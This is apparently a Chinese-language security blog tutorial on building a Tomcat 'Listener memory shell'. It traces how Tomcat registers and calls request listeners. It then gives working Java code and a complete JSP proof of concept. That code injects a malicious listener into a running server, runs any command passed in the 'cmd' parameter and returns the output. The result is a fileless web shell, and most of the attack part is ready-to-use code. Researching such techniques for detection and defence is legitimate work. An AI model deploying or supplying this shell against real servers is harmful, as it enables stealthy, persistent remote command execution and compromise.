熟悉 Listener
先试一试 Listener 的作用,这里使用了ServletRequestListener,因为这个 Listener 只要在网页发起了请求,就会调用这个监听器的两个回调方法。属实好用
web.xml
<listener>
  <listener-class>com.yq1ng.Listener.TestListener</listener-class>
</listener>package com.yq1ng.Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
/**
 * @author ying
 * @Description
 * @create 2021-12-07 4:49 PM
 */
public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        System.out.println("TestListener 已被销毁。。。");
    }
    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println("TestListener 已被创建。。。");
    }
}
启动服务,访问网站,看下 log
注意到两个函数的参数类型是ServletRequestEvent servletRequestEvent,跟进看看
可以看到javax\servlet\ServletRequestEvent.class#getServletRequest()返回了 request,会不会是在 Filter 内存马中提到的获取 context 的那个 request 呢?输出看看
直接写一个恶意的 Listener 试试了
package com.yq1ng.Listener;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
/**
 * @author ying
 * @Description
 * @create 2021-12-07 4:49 PM
 */
public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        String cmd;
        try {
            cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
            RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
            Field requestField  = servletRequestEvent.getServletRequest().getClass().getDeclaredField("request");
            requestField .setAccessible(true);
            Request request = (Request) requestField .get(requestFacade);
            Response response = request.getResponse();
            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
                Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
        }catch (Exception e){
            e.printStackTrace();
        }
        System.out.println("TestListener 已被销毁。。。");
    }
    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println("TestListener 已被创建。。。");
    }
}
现在就应该是怎么动态注册一个恶意的 Listener 了,和 Filter 一样,先看看正常的注册流程
Listener 注册
因为 debug 时总是出现下图这个东西(maven 下载了源码也不行包括重启、清缓存、重新构建等等),这里就没进行动态调试,而是直接看代码和注释来理解

class 打上断点,debug 看堆栈发现org/apache/catalina/core/StandardContext.java#listenerStart()
看findApplicationListeners()实现,了解listeners[]是怎么来的

从注释可以很轻松的看出来listeners[]是从web.xml中按顺序读取来的。
接着上面的看,实例化完往下走就是对其进行排序
测试使用的 Listener 继承了 ServletRequestListener,所以被添加到eventListeners中,继续往下

这里从applicationEventListenersList中取出已经实例化的 Listener 对象,然后后面将其清空再将 Liteners 全部添加进去,此时applicationEventListenersList内是已经实例化后的所有 Listener 对象
Listener 调用
如法炮制,在 sout 处打上断点

getApplicationEventListeners()这个函数有印象吧,获取已经实例化后的所有 Listener 对象。然后循环遍历,依次调用listener.requestDestroyed()
编写 poc
思路应该清晰了,Listener 的注册与调用都围绕着applicationEventListenersList这个数组,所以我们只需要将恶意 Listener 添加到applicationEventListenersList中即可
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.util.Arrays" %>
<%--
  Created by IntelliJ IDEA.
  User: ying
  Date: 2021/12/8
  Time: 15:52
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%
    class EvilListener implements ServletRequestListener{
        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
            String cmd;
            try {
                cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
                RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
                Field requestField = servletRequestEvent.getServletRequest().getClass().getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();
                if (cmd != null) {
                    InputStream inputStream = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
                    Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    response.getWriter().write(output);
                    response.getWriter().flush();
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        }
    }
%>
<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request req = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    ArrayList<Object> eventListeners = new ArrayList<>(listeners);
    eventListeners.add(new EvilListener());
    standardContext.setApplicationEventListeners(eventListeners.toArray());
    out.print("Inject Success !");
%>
</body>
</html>



 
                     
                     
                        
                        